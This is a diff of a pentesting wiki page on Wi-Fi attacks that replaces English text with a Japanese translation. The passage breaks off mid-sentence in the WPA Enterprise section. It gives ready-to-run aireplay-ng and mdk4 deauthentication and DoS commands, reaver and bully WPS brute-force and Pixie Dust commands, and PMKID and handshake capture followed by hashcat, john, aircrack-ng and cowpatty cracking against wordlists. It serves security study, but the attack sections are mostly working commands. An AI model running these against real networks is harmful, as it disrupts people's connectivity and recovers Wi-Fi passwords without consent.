mode -* Scan for possible networks - And let you select the victim(s) -* If WEP - Launch WEP attacks -* If WPA-PSK - * If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn't try null PIN or database/generated PINs. - * Try to capture the PMKID from the AP to crack it - * Try to deauthenticate clients of the AP to capture a handshake - * If PMKID or Handshake, try to bruteforce using top5000 passwords. +* インターフェースをモニターモードに設定する +* 可能なネットワークをスキャンし、被害者を選択する +* WEPの場合、WEP攻撃を実行する +* WPA-PSKの場合 +* WPSの場合:Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるため注意が必要です)。ただし、null PINやデータベース/生成されたPINは試しません。 +* APからPMKIDをキャプチャしてクラックを試みる +* APのクライアントを切断してハンドシェイクをキャプチャしようとする +* PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる -## Attacks Summary +## 攻撃の概要 * **DoS** - * Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client) - * Random fake APs -- Hide nets, possible crash scanners - * Overload AP -- Try to kill the AP (usually not very useful) - * WIDS -- Play with the IDS - * TKIP, EAPOL -- Some specific attacks to DoS some APs -* **Cracking** - * Crack **WEP** (several tools and methods) - * **WPA-PSK** - * **WPS** pin "Brute-Force" - * **WPA PMKID** bruteforce - * \[DoS +] **WPA handshake** capture + Cracking - * **WPA-MGT** - * **Username capture** - * **Bruteforce** Credentials -* **Evil Twin** (with or without DoS) - * **Open** Evil Twin \[+ DoS] -- Useful to capture captive portal creds and/or perform LAN attacks - * **WPA-PSK** Evil Twin -- Useful to network attacks if you know the password - * **WPA-MGT** -- Useful to capture company credentials +* Deauthentication/disassociation -- すべてのクライアントを切断する(または特定のESSID/クライアント) +* ランダムな偽AP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある +* APの過負荷 -- APを停止させようとする(通常はあまり有用ではありません) +* WIDS -- IDSとの対戦 +* TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃 +* **クラッキング** +* **WEP**のクラック(いくつかのツールと方法) +* **WPA-PSK** +* **WPS**ピンの「ブルートフォース」 +* **WPA PMKID**のブルートフォース +* \[DoS +] **WPAハンドシェイク**のキャプチャ+クラッキング +* **WPA-MGT** +* **ユーザー名のキャプチャ** +* **ブルートフォース**認証情報 +* **Evil Twin**(DoSあり/なし) +* **Open** Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するために役立ちます +* **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立ちます +* **WPA-MGT** -- 会社の資格情報をキャプチャするために役立ちます * **KARMA, MANA**, **Loud MANA**, **Known beacon** - * **+ Open** -- Useful to capture captive portal creds and/or perform LAN attacks - * **+ WPA** -- Useful to capture WPA handshakes +* **+ Open** -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するために役立ちます +* **+ WPA** -- WPAハンドシェイクをキャプチャするために役立ちます -## DOS +## DoS -### Deauthentication Packets +### 切断パケット -The most common way this sort of attack is done is with **deauthentication** packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to [hacking many Wi-Fi networks](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking. +この種の攻撃で最も一般的な方法は、**切断**パケットを使用することです。これらはデバイスをアクセスポイントから切断する責任がある「管理」フレームの一種です。これらのパケットを偽造することが、[多くのWi-Fiネットワークをハックする](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)鍵となります。ネットワークからいつでも任意のクライアントを強制的に切断できるため、これを行うことは比較的簡単で、しばしばクラックのためのWPAハンドシェイクを収集する一環として行われます。 -Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.\ -**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** - -**Deauthentication using Aireplay-ng** +この切断を一時的に使用してハンドシェイクを収集してクラックするだけでなく、これらの切断を続けることもできます。これにより、クライアントは接続しているネットワークからのように切断パケットを受け取ることになります。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを利用して、ネットワーク上の1つまたはすべてのデバイスに対してそれらを偽造して送信します。\ +**[ここ](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)からの説明です。** +**Aireplay-ngを使用した切断** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` +* \-0 は切断を意味します +* 1 は送信する切断パケットの数です(複数送信することも可能です);0 は連続的に送信します +* \-a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです +* \-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;省略するとブロードキャスト切断が送信されます(常に機能するわけではありません) +* ath0 はインターフェース名です -* \-0 means deauthentication -* 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously -* \-a 00:14:6C:7E:40:80 is the MAC address of the access point -* \-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work) -* ath0 is the interface name +### 切断パケット -### Disassociation Packets +切断パケットは、近くのアクセスポイントからノード(ラップトップや携帯電話などのデバイス)を切断するために使用されるもう一つの管理フレームのタイプです。切断フレームと切断パケットの違いは、主に使用方法です。 -Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used. +不正なデバイスを切断するために、アクセスポイントは切断パケットを送信してデバイスにネットワークから切断されたことを通知します。一方、切断パケットは、アクセスポイントが電源を切ったり、再起動したり、エリアを離れるときに、ノードを切断するために使用されます。 -An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area. - -**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** - -**This attack can be performed by mdk4(mode "d"):** +**[ここ](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)からの説明です。** +**この攻撃は、mdk4(モード「d」)によって実行できます。** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate # -e WifiName is the name of the wifi # -B BSSID is the BSSID of the AP -# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them +# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F ``` +### **mdk4によるさらなるDOS攻撃** -### **More DOS attacks by mdk4** +**[ここから](https://en.kali.tools/?p=864)**。 -**From** [**here**](https://en.kali.tools/?p=864)**.** - -**ATTACK MODE b: Beacon Flooding** - -Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers! +**攻撃モードb: ビーコンフラッディング** +クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります! ```bash # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) @@ -174,11 +179,9 @@ Sends beacon frames to show fake APs at clients. This can sometimes crash networ # All the parameters are optional and you could load ESSIDs from a file mdk4 wlan0mon b -a -w nta -m ``` +**攻撃モード a: 認証サービス拒否** -**ATTACK MODE a: Authentication Denial-Of-Service** - -Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs. - +範囲内で見つかったすべてのAPに認証フレームを送信します。多くのクライアントがいると、いくつかのAPがフリーズしたりリセットされたりする可能性があります。 ```bash # -a BSSID send random data from random clients to try the DoS # -i BSSID capture and repeat pakets from authenticated clients @@ -186,149 +189,133 @@ Sends authentication frames to all APs found in range. Too many clients can free # only -a or -i can be used mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` +**攻撃モード p: SSIDプロービングとブルートフォース** -**ATTACK MODE p: SSID Probing and Bruteforcing** +APをプローブし、応答をチェックします。SSIDが正しく非表示にされているか、APが送信範囲内にあるかを確認するのに役立ちます。ワードリストを使用して非表示のSSIDをブルートフォースすることもできます。 -Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. **Bruteforcing of hidden SSIDs** with or without a wordlist is also available. - -**ATTACK MODE m: Michael Countermeasures Exploitation** - -Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on **TKIP APs**. AP will then shutdown for a whole minute, making this an effective **DoS**. +**攻撃モード m: Michael対策の悪用** +ランダムなパケットを送信したり、別のQoSキューに重複パケットを再注入することで、**TKIP AP**でMichael対策を引き起こします。APはその後1分間シャットダウンされるため、これは効果的な**DoS**攻撃です。 ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] ``` +**攻撃モード e: EAPOL スタートとログオフパケットのインジェクション** -**ATTACK MODE e: EAPOL Start and Logoff Packet Injection** - -Floods an AP with **EAPOL** Start frames to keep it busy with **fake sessions** and thus disables it to handle any legitimate clients. Or logs off clients by **injecting fake** EAPOL **Logoff messages**. - +**偽のセッション**を持つ**EAPOL**スタートフレームを使ってAPに洪水を起こし、合法的なクライアントの処理を妨害します。または、**偽の**EAPOL **ログオフメッセージ**をインジェクションすることでクライアントをログオフさせます。 ```bash # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` +**攻撃モード s: IEEE 802.11s メッシュネットワークへの攻撃** -**ATTACK MODE s: Attacks for IEEE 802.11s mesh networks** +メッシュネットワークにおけるリンク管理とルーティングに対するさまざまな攻撃。近隣ノードや経路にフラッド攻撃を行い、トラフィックを逸らしたり、ブラックホールを作成します! -Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic! - -**ATTACK MODE w: WIDS Confusion** - -Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs. +**攻撃モード w: WIDS 混乱** +クライアントを複数のWDSノードや偽のローグAPにクロス接続することで、侵入検知および防止システムを混乱させる/悪用する。 ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] ``` +**攻撃モード f: パケットファズ** -**ATTACK MODE f: Packet Fuzzer** - -A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful! +複数のパケットソースと素晴らしい修飾子を備えたシンプルなパケットファズ。注意して使用してください! ### **Airggedon** -_**Airgeddon**_ offers most of the attacks proposed in the previous comments: +_**Airgeddon**_ は、前のコメントで提案された攻撃のほとんどを提供します: ![](<../../.gitbook/assets/image (126).png>) ## WPS -WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. **WPS works only for wireless networks that use a password** that is encrypted with the **WPA** Personal or **WPA2** Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)) +WPSはWi-Fi Protected Setupの略です。これは、ルーターとワイヤレスデバイスの接続をより速く簡単にするためのワイヤレスネットワークセキュリティの標準です。**WPSは、パスワードで暗号化された** **WPA** Personalまたは**WPA2** Personalセキュリティプロトコルを使用しているワイヤレスネットワークにのみ適用されます。WPSは、基本的なツールとスキルを持つハッカーによって簡単にクラックされることができる非推奨のWEPセキュリティを使用しているワイヤレスネットワークでは機能しません。([ここから](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)引用) -WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities). +WPSは、ユーザーがネットワークに接続するために8桁のPINを使用しますが、最初の4桁がまずチェックされ、正しい場合には次に2番目の4桁がチェックされます。その後、最初の半分をブルートフォースし、次に2番目の半分をブルートフォースすることができます(11000通りの可能性のみ)。 -### WPS Bruteforce +### WPSブルートフォース -There are 2 main tools to perform this action: Reaver and Bully. +このアクションを実行するための2つの主要なツールがあります:ReaverとBully。 -* **Reaver** has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. -* **Bully** is a **new implementation** of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. +* **Reaver**は、WPSに対する堅牢で実用的な攻撃を行うように設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。 +* **Bully**は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のreaverコードに比べていくつかの利点があります:依存関係が少なく、メモリとCPUのパフォーマンスが向上し、エンディアンの処理が正しく行われ、より堅牢なオプションが用意されています。 -This attack takes advantage of a **weakness in the eight-digit WPS PIN code**; because of this issue, the protocol **discloses information about the PIN’s first four digits**, and the **last** digit works as a **checksum**, which makes brute forcing the WPS AP easy.\ -Note that some devices include **brute-force protections**, which usually **block MAC addresses** that repeatedly try to attack. In that case, the complexity of this attack increases, because you’d have to **rotate MAC** addresses while testing PINs. - -If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it. +この攻撃は、**8桁のWPS PINコードの弱点**を利用しています。この問題のため、プロトコルはPINの最初の4桁に関する情報を**公開**し、**最後の**桁は**チェックサム**として機能し、WPS APのブルートフォースが容易になります。\ +一部のデバイスには、通常、攻撃を繰り返し試みるMACアドレスを**ブロックするブルートフォース保護**が含まれています。その場合、この攻撃の複雑さが増します。PINをテストする間にMACアドレスを**回転**する必要があります。 +WPSの有効なコードが見つかった場合、BullyとReaverはそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを見つけることができますので、必要な時にいつでも接続することができます。 ```bash -reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot +reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 ``` +**スマートなブルートフォース** -**Smart Brute force** +すべての可能なPINを試すことから始める代わりに、攻撃しているAPの利用可能な**PINが発見されているかどうか**(製造元のMACに依存)と、**PINソフトウェアが生成したPIN**をチェックするべきです。 -Instead of starting trying every possible PIN, you should check if there are available **PINs discoveredfor the AP you are attacking** (depending of the manufacturer MAC) and the **PIN software generated PINs**. +- 既知のPINのデータベースは、特定の製造元のアクセスポイントに対して、同じWPS PINが使用されていることが知られているものです。このデータベースにはMACアドレスの最初の3オクテットと、この製造元に非常に可能性の高い対応するPINのリストが含まれています。 +- WPS PINを生成するためのいくつかのアルゴリズムがあります。たとえば、ComputePINとEasyBoxは、アクセスポイントのMACアドレスを計算に使用します。ただし、ArcadyanアルゴリズムではデバイスIDも必要です。 -* The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer. -* There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID. +### WPS Pixie Dust攻撃 -### WPS Pixie Dust attack - -Dominique Bongard discovered that some APs have weak ways of generating **nonces** (known as **E-S1** and **E-S2**) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) - -Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN. +Dominique Bongardは、一部のAPが**ノンス**(**E-S1**および**E-S2**として知られる)を生成する際に弱い方法を持っていることを発見しました。これらのノンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINをハッシュで私たちに提供しなければならず、それによってAPもPINを知っていることを証明し、クライアントが偽のAPに接続していないことを示す必要があるからです。これらのE-S1とE-S2は、WPS PINを含む「ロックボックスを開けるための鍵」と言えます。詳細はこちら:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) +基本的に、一部の実装では、認証通信中にPINが2つの部分に分解され、クライアントに送信される際にランダムなキーを使用することに失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースすることができました。 ``` reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` +### Null Pin攻撃 -### Null Pin attack - -Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot). - +一部の非常に悪い実装では、Null PINを接続できるようにしてしまっています(非常に奇妙です)。Reaverはこれをテストすることができます(Bullyはできません)。 ``` - reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' +reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` - ### Airgeddon -All the proposed WPS attacks can be easily performed using _**airgeddon.**_ +すべての提案されたWPS攻撃は、_**airgeddon**_を使用して簡単に実行できます。 ![](<../../.gitbook/assets/image (124).png>) -* 5 and 6 lets you try **your custom PIN** (if you have any) -* 7 and 8 perform the **Pixie Dust attack** -* 13 allows you to test the **NULL PIN** -* 11 and 12 will **recollect the PINs related to the selected AP from available databases** and **generate** possible **PINs** using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?) -* 9 and 10 will test **every possible PIN** +* 5と6は**カスタムPIN**を試すことができます(もし持っている場合) +* 7と8は**Pixie Dust攻撃**を実行します +* 13は**NULL PIN**をテストすることができます +* 11と12は利用可能なデータベースから選択したAPに関連するPINを**再収集**し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能な**PIN**を生成します +* 9と10は**すべての可能なPIN**をテストします ## **WEP** -So broken and disappeared that I am not going to talk about it. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options. +壊れて消えたので、話すつもりはありません。ただし、_**airgeddon**_にはこの種の保護を攻撃するための「オールインワン」というWEPオプションがあります。他のツールも同様のオプションを提供しています。 ![](<../../.gitbook/assets/image (125).png>)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する ## WPA/WPA2 PSK ### PMKID -In 2018 hashcat authors [disclosed](https://hashcat.net/forum/thread-7717.html) a new type of attack which not only relies **on one single packet**, but it doesn’t require any clients to be connected to our target AP but just communication between the attacker and the AP. +2018年、hashcatの作者は[公開](https://hashcat.net/forum/thread-7717.html)した新しい攻撃のタイプについて説明しました。この攻撃は**1つのパケット**に依存するだけでなく、攻撃対象のAPにクライアントが接続されていなくても、攻撃者とAPの間の通信だけで行うことができます。 -It turns out that **a lot** of modern routers append an **optional field** at the end of the **first EAPOL** frame sent by the AP itself when someone is associating, the so called `Robust Security Network`, which includes something called `PMKID` - -As explained in the original post, the **PMKID** is derived by using data which is known to us: +実は、**多くの**モダンなルーターは、誰かが関連付けを行っているときにAP自体が送信する**最初のEAPOL**フレームの末尾に**オプションのフィールド**を追加します。これは「Robust Security Network」と呼ばれ、`PMKID`と呼ばれるものを含んでいます。 +元の投稿で説明されているように、**PMKID**は私たちには既知のデータを使用して派生されます: ``` PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` +**「PMK Name」文字列が一定であるため、APとステーションのBSSID、および完全な4ウェイハンドシェイクから取得された「PMK」が同じであることがわかっている場合、hashcatはPSKをクラックし、パスフレーズを回復するために必要なすべての情報を持っています!**\ +[ここ](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)から取得した説明。 -**Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the `PMK` is the same one obtained from a full 4-way handshake**, this is all hashcat needs in order to crack the PSK and recover the passphrase!\ -Description obtained from [here](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/). - -To **gather** this information and **bruteforce** locally the password you can do: - +この情報を**収集**し、パスワードをローカルで**ブルートフォース**するには、次の手順を実行します: ```bash airmon-ng check kill airmon-ng start wlan0 @@ -340,21 +327,18 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` - -The **PMKIDs captured** will be shown in the **console** and also **saved** inside \_ **/tmp/attack.pcap**\_\ -Now, convert the capture to **hashcat/john** format and crack it: - +**キャプチャされたPMKIDs**は**コンソール**に表示され、また**/tmp/attack.pcap**内にも**保存**されます。\ +次に、キャプチャを**hashcat/john**形式に変換してクラックします。 ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` +正しいハッシュの形式は、_4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_ のように、**4つの部分**から成ります。 -Please note the the format of a correct hash contains **4 parts**, like: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\ -\_\_If yours **only** contains **3 parts**, then, it is **invalid** (the PMKID capture wasn't valid). - -Note that `hcxdumptool` **also capture handshakes** (something like this will appear: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). You could **transform** the **handshakes** to **hashcat**/**john** format using `cap2hccapx` +もしハッシュが**3つの部分**しか含まれていない場合、それは**無効**です(PMKIDキャプチャが有効ではありません)。 +`hcxdumptool`は**ハンドシェイクもキャプチャ**します(次のようなものが表示されます:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。`cap2hccapx`を使用して、**ハンドシェイク**を**hashcat**/**john**の形式に変換することができます。 ```bash tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] @@ -362,171 +346,182 @@ hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes ``` +_このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックすることができませんでした。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。_ -_I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool._ - -### Handshake capture - -One way to attack **WPA/WPA2** networks is to capture a **handshake** and try to **crack** the used password **offline**. To do so you need to find the **BSSID** and **channel** of the **victim** network, and a **client** that is connected to the network.\ -Once you have that information you have to start **listening** to all the commutation of that **BSSID** in that **channel**, because hopefully the handshake will be send there: +### ハンドシェイクのキャプチャ +**WPA/WPA2**ネットワークを攻撃する方法の一つは、**ハンドシェイク**をキャプチャして、オフラインで使用されるパスワードを**クラック**することです。そのためには、**被害者**ネットワークの**BSSID**と**チャンネル**、ネットワークに接続されている**クライアント**を見つける必要があります。\ +この情報を手に入れたら、その**BSSID**がその**チャンネル**で行われるすべての通信を**監視**する必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しているからです。 ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` - -Now you need to **deauthenticate** the **client** for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client): - +以下の手順で、クライアントを一時的に**認証解除**し、自動的にAPに再度認証させる必要があります(クライアントの認証解除方法については、DoSの部分を読んでください): ```bash aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work ``` +_クライアントが認証解除された場合、別のAPに接続しようとするか、他のネットワークに接続しようとする可能性があることに注意してください。_ -_Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network._ - -Once in the `airodump-ng` appears some handshake information this means that the handshake was captured and you can stop listening: +`airodump-ng`にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます。 ![](<../../.gitbook/assets/image (172) (1).png>) -Once the handshake is captured you can **crack** it with `aircrack-ng`: - +ハンドシェイクがキャプチャされたら、`aircrack-ng`を使用して**クラック**することができます。 ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` - -### Check if handshake in file +### ファイル内にハンドシェイクがあるかを確認する **aircrack** - ```bash aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture ``` - **tshark** +tshark is a command-line tool that is part of the Wireshark network protocol analyzer. It allows you to capture and analyze network traffic in real-time. With tshark, you can capture packets from various network interfaces, apply filters to capture specific types of traffic, and save the captured data to a file for further analysis. + +To use tshark, you need to have Wireshark installed on your system. Once installed, you can open a terminal and run the tshark command followed by the desired options and filters. + +Here are some common tshark commands: + +- **Capture packets from a specific interface**: `tshark -i ` +- **Apply a capture filter**: `tshark -i -f ` +- **Save captured packets to a file**: `tshark -i -w ` +- **Read packets from a capture file**: `tshark -r ` +- **Apply a display filter**: `tshark -r -Y ` +- **Print packet details**: `tshark -r -T ` + +tshark provides a wide range of options and filters that allow you to customize your packet capture and analysis. It is a powerful tool for network troubleshooting, security analysis, and protocol development. + +For more information on tshark and its capabilities, you can refer to the [Wireshark documentation](https://www.wireshark.org/docs/man-pages/tshark.html). ```bash tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages. ``` +[**cowpatty**](https://github.com/roobixx/cowpatty)は、WPA-PSKハンドシェイクを解析するためのツールです。このツールは、WPA/WPA2のパスワードをクラックするために使用されます。cowpattyは、事前共有キー(PSK)を見つけるために、ハンドシェイクキャプチャファイルと辞書攻撃を使用します。 -[**cowpatty**](https://github.com/roobixx/cowpatty) +このツールを使用するには、まずハンドシェイクキャプチャファイルを取得する必要があります。これは、WPA/WPA2ネットワークに接続し、ハンドシェイクをキャプチャすることで行われます。次に、辞書攻撃を実行するための辞書ファイルを用意する必要があります。辞書ファイルには、パスワードの候補となる単語やフレーズが含まれています。 +cowpattyを実行すると、ハンドシェイクキャプチャファイルと辞書ファイルを指定する必要があります。ツールは、辞書ファイル内の各単語やフレーズを使用して、ハンドシェイクキャプチャファイルのパスワードを総当たりで試行します。正しいパスワードが見つかると、cowpattyはそれを表示します。 + +cowpattyは、WPA-PSKハンドシェイクの解析において非常に効果的なツールです。ただし、強力なパスワードを使用している場合や、辞書ファイルに含まれていないパスワードを使用している場合は、解析が困難になる可能性があります。 ``` cowpatty -r psk-01.cap -s "ESSID" -f - ``` - -_If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one._ +_このツールは、完了していないESSIDのハンドシェイクを検出した場合、有効なハンドシェイクを検出しません。_ **pyrit** - ```bash apt-get install pyrit #Not working for newer versions of kali pyrit -r psk-01.cap analyze ``` +## **WPAエンタープライズ(MGT)** -## **WPA Enterprise (MGT)** - -**It** is important to talk about the **different authentication methods** that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in `airodump-ng` something like this: - +**異なる認証方法**について話すことは重要です。エンタープライズWifiで使用される可能性のある認証方法について説明します。この種のWifiでは、おそらく`airodump-ng`で次のようなものが見つかるでしょう: ``` 6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi ``` +**EAP**(拡張認証プロトコル)は、**認証通信**の**骨組み**であり、その上にサーバーがクライアント(**サプリカント**)を認証するために認証アルゴリズムが使用されます。一部の場合では、クライアントがサーバーを認証するためにも使用されます。 -**EAP** (Extensible Authentication Protocol) the **skull** of the **authentication communication**, on **top** of this, an **authentication algorithm** is used by the server to authenticate the **client** (**supplicant**) and in same cases by the client to authenticate the server.\ -Main authentication algorithms used in this case: +この場合に使用される主な認証アルゴリズムは次のとおりです: -* **EAP-GTC:** Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in **plaintext** (very interesting for downgrade attacks). -* **EAP-MD-5 (Message Digest)**: The client send the MD5 hash of the password. **Not recommended**: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy (WEP) keys. -* **EAP-TLS (Transport Layer Security)**: It relies on **client-side and server-side certificates** to perform 